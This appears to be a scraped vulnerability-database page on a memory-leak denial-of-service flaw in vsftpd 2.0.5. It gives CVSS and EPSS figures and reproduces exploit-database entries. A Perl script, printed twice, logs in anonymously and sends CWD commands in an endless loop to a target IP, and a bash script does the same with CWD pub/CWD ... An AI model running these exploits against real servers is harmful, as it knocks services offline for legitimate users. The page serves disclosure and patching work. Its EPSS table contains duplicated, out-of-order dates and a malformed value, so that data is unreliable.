CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Memory leak in a certain Red Hat patch, applied to vsftpd 2.0.5 on Red Hat Enterprise Linux (RHEL) 5 and Fedora 6 through 8, and on Foresight Linux and rPath appliances, allows remote attackers to cause a denial of service (memory consumption) via a large number of CWD commands, as demonstrated by an attack on a daemon with the deny_file configuration option.
Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.1
AV:N/AC:M/Au:N/C:N/I:N/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
12.57%
–
–
2022-04-03
–
–
12.57%
–
–
2023-02-26
–
–
12.57%
–
–
2023-03-12
–
–
–
10.95%
–
2023-05-28
–
–
–
5.98%
–
2023-08-20
–
–
–
5.98%
–
2024-01-07
–
–
–
5.69%
–
2024-06-02
–
–
–
5.69%
–
2024-10-13
–
–
–
5.69%
–
2024-12-22
–
–
–
5.18%
–
2025-01-12
–
–
–
5.07%
–
2025-02-16
–
–
–
5.94%
–
2025-03-09
–
–
–
5.94%
–
2025-01-19
–
–
–
5.07%
–
2025-02-16
–
–
–
5.94%
–
2025-03-09
–
–
–
5.94%
–
2025-03-18
–
–
–
–
17.79%
2025-03-30
–
–
–
–
18.01%
2025-03-30
–
–
–
–
18.01,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
#!/usr/bin/perl -w
#######################################################################################
# vsftpd 2.0.5 FTP Server on Red Hat Enterprise Linux (RHEL) 5, Fedora 6 to 8,
# Foresight Linux, rPath Linux is prone to Denial-of-Service(DoS) vulnerability.
#
# Can be xploited by large number of CWD commands to vsftp daemon with deny_file configuration
# option in /etc/vsftpd/vsftpd.conf or the path where FTP server is installed.
#
# I tried to modify local exploit found at securityfocus such that we can remotely exloit
#
# Author shall not bear any responsibility
# Author: Praveen Darshanam
# Email: praveen[underscore]recker[at]sify.com
# Date: 07th June, 2008
#
#
########################################################################################
use Net::FTP;
$ftp=Net::FTP->new("$ARGV[0]",Debug=>0) || die "Cannot connect to Host $ARGV[0]\n Usage: $perl script_name.pl target_ip\n";
$ftp -> login("anonymous","anonymous") || die "Could not Login...Retry";
while(1)
{
#this loop runs infinitely
$ftp -> cwd();
}
$ftp->quit;
# milw0rm.com [2008-06-14]
Publication date : 2008-05-20 22h00 +00:00 Author : Martin Nagy EDB Verified : Yes
source: https://www.securityfocus.com/bid/29322/info
The 'vsftpd' FTP server is prone to a remote denial-of-service vulnerability because it fails to free allocated memory.
Successfully exploiting this issue allows remote attackers to crash the affected application, denying service to legitimate users.
# echo deny_file=foo >> /etc/vsftpd/vsftpd.conf
# service vsftpd restart
$ cat > memtest.sh <<EOF
EOF
#!/bin/bash
echo USER anonymous
echo PASS foo@bar.com
while [ 1 ]; do
echo CWD pub
echo CWD ..
done
EOF
source: https://www.securityfocus.com/bid/29322/info
The 'vsftpd' FTP server is prone to a remote denial-of-service vulnerability because it fails to free allocated memory.
Successfully exploiting this issue allows remote attackers to crash the affected application, denying service to legitimate users.
#!/usr/bin/perl -w
#######################################################################################
#vsftpd 2.0.5 FTP Server on Red Hat Enterprise Linux (RHEL) 5, Fedora 6 to 8,
#Foresight Linux, rPath Linux is prone to Denial-of-Service(DoS) vulnerability.
#
#Can be xploited by large number of CWD commands to vsftp daemon with deny_file configuration
#option in /etc/vsftpd/vsftpd.conf or the path where FTP server is installed.
#
#I tried to modify local exploit found at securityfocus such that we can remotely exloit
#
# Author shall not bear any responsibility
#Author:Praveen Darshanam
#Email:praveen[underscore]recker[at]sify.com
#Date:07th June, 2008
#
#
########################################################################################
use Net::FTP;
$ftp=Net::FTP->new("$ARGV[0]",Debug=>0) || die "Cannot connect to Host $ARGV[0]\n Usage: $perl script_name.pl target_ip\n";
$ftp -> login("anonymous","anonymous") || die "Could not Login...Retry";
while(1)
{
#this loop runs infinitely
$ftp -> cwd();
}
$ftp->quit;